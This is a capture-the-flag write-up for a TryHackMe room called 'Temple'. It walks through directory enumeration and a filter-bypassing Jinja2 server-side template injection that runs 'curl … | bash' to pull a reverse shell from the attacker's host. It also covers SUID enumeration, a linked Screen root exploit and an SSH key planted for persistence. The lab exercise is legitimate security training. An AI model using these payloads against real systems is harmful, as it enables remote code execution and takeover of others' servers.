THM Writeup: Temple

Earlier this week I decided to develop a unique web challenge for Try Hack Me, which is named “Temple”. You can find the room here. The platform was developed using Python Flask and MariaDB as the database backend.

Recon and enumeration

After deploying the machine, it is good to wait for a few minutes; as some of the services might not run until the machine has fully booted. The machine has six open ports. However, one port stands out, which is port number 61337.

Enumerating the running services on port 61337 shows that there is a Python webserver.

Visting the webpage displays a login form. Any entered value will only return a “Invalid username/password” response. Simple credentials such as admin/admin and so on does not work…

Manually looking for injections leads to a “Hacking attempt detected!” error message. The application detects whether the user has entered an illegal character or not. This is interesting, but still nothing that stands out. Let us keep a note of this, as it might come in handy. SQLmap and Active Scan from Burp Suite Pro does not indicate that there is a SQL injection.

The next step is to enumerate even more. Maybe we can find something useful on the webserver, as the login form does not give us anything interesting? Let us run the following command:

gobuster dir -u http://10.10.229.93:61337 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 200 -q

The directory “temporary” looks interesting enough. The same goes for “admin” and “application” as well, even though they are returning a 403 forbidden page. There might still be available files/folders recursively. Let us fuzz these directories.

After discovering nothing interesting recursively behind the “admin” and “application”, we discover a “dev” directory behind “temporary”. This resulted in a 200 OK response from /temporary/dev/newacc. Promising…?

The “newacc” directory allows a user to register a new account. This is good news, as we can now successfully gain access using the login form.

Getting a shell

After logging in and browsing around the webserver we discover that the username is reflected under the “Account” tab. As the webserver is running Python, is there a templating engine…? In that case, we can control the value of the username and get the template to render any “username” value.

After some trial and error, we discover that it is possible to create aunique username as the payload, which can be used to inject a template. The payload {{7*7}} is common for Jinja2, and will render as the number 49 if the target is injectable.

After logging in and browsing to the “Account” page, the username 49 is returned. This confirms that the page is vulnerable to Server-Side Template Injection (SSTI). Remember earlier when we noticed that the e-mail, username, and password were protected by a filter? Every single tick, undersore, etc is blacklisted. Therefore, we must attempt to bypass the filter when registering a new user with the username payload. The article below is a great resource:

https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f

The article shows how different types of encoding can be used to bypass a SSTI filter, such as underscores. Remember, a single tick ‘ is blacklisted, while ” is not. Therefore, we must replace the ticks to quotes instead to bypass the filter. The new payload will list the available Python classes:

{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()}}

As we now have access to the available classes, we must organise them into a friendly format, which allows us to display how many classes there are – and of course in which order they are. We are interested in the Python class subprocesses, as we can use Popen to execute a command on the system. We can copy and paste the available classes into a text editor and organise the classes line-by-line. This shows that subprocess.Popen is class number 202.

We can confirm that we have the correct class selected by sending in a similar payload as earlier, but only extending it to select number 202. Register a new user with the following payload as username:

{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(202)}}

As expected, the username renders as “subprocess.Popen”. The correct class is selected, and we can finally execute our malicious payload. The following payload below will spawn a new subprocess and execute curl. Curl will grab a reverse shell payload which is hosted on the attacker machine and execute it.

{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(202)("curl 10.9.1.114/shell.sh | bash",shell=True,stdout=-1)|attr("communicate")()|attr("\x5f\x5fgetitem\x5f\x5f")(0)|attr("decode")("utf-8")}}

Privilege escalation

The flag1.txt file can be located in the user’s home directory. The next step is to gain root access. There are many ways to enumerate the system. The best option is to use an enumeration script. However, (for the sake of this writeup), I have chosen an easier path. You can locate SUID binaries on the system by executing the following command:

find / -perm -u=s -type f 2>/dev/null

These binaries will allow a regular user to execute the binary with super user (sudo) privileges! The binary “screen” has a SUID set. However, exploiting a classic GTFO bin “sudo screen” command does not work… The user bill is denied when using sudo!

Even though we cannot execute Screen using sudo, all hope is not lost. If we check the version number of screen, we can see that it is version 4.05.00. Let us have a closer look at the version.

Searching for publicly known exploits for Screen reveals a Local Privilege Escalation script, which will work for a version higher than the one installed on the system according to the title.

The exploit can be found here:

https://www.exploit-db.com/exploits/41154

This is a great time to mention that our reverse shell it quite limited, a bit unstable, and not top tier… Upgrading the shell as shown below is not necessary to privilege escalate. However, it will be easier to work and interact with the targeted system. As the SSH service is running, we can generate new SSH keys using ssh-keygen. From thereon, copy your id_rsa.pub key from your attacking machine and put it into the /home/bill/.ssh directory as authorized_keys. This will allow you to SSH into the targeted machine without knowing the password.

After gaining a full shell using SSH, we copy the privilege escalation exploit code into exploit.sh and make the file executable. Execute the exploit…

We have now successfully gained root access by exploiting an outdated version of screen!

Game over.